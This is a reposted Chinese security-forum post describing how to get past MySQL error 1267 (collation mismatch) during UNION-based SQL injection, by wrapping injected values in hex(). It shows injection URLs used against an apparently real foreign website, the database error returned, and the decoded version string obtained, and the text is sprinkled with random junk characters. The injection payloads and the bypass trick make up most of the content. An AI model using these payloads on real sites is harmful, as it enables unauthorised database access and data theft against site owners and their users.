找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1937|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei
$ D( |6 U: ?% G, `, x2 p! G文章性质:原创' w& ~* m5 g5 u' s4 z. u& H
发布日期:2005-10-18+ j& w* t0 C6 `, [% k/ [
测试个国外的站时:6 S9 j+ y' M0 ?1 R- N
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*/ W( r) b, Z0 I! l) n, h/ I
返回错误:
3 [" B! ^8 g! O* R. rIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'% _2 r% N9 R6 t  z
MySQL Error No. 126
" I9 q" B1 ?" ^, F! F7 J! Y$ m看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。3 [% U% n- w+ C( q$ z7 }6 G& \
解决办法:转为其他编码如hex。
3 }% [+ _. m6 ?% I. D8 o# ~url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*! ^, n% A& f$ N1 s9 h9 o, p1 |- A
成功得到hex(version())的值为:
6 \8 X( G# R# }342E312E332D62657461
: E. @( s, m' J& i% m2 Q6 }# X9 B' W回Mysql查询下得到:
7 A7 f' s: b; W/ }mysql> select 0x342E312E332D62657461;
" k. C2 b' K3 N( t3 `+------------------------+; ?: k  x- m3 N. [
| 0x342E312E332D62657461 |
. Z1 |; T, }. j4 y+ w7 L% ?+------------------------+; x) F4 q+ {. D
| 4.1.3-beta |! U& M' c9 ?5 M4 A" f: \! W
+------------------------+
; P7 q  k! \3 o) `1 row in set (0.00 sec)
: F  ^. x; K9 c& H$ M9 {3 r+ L# {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表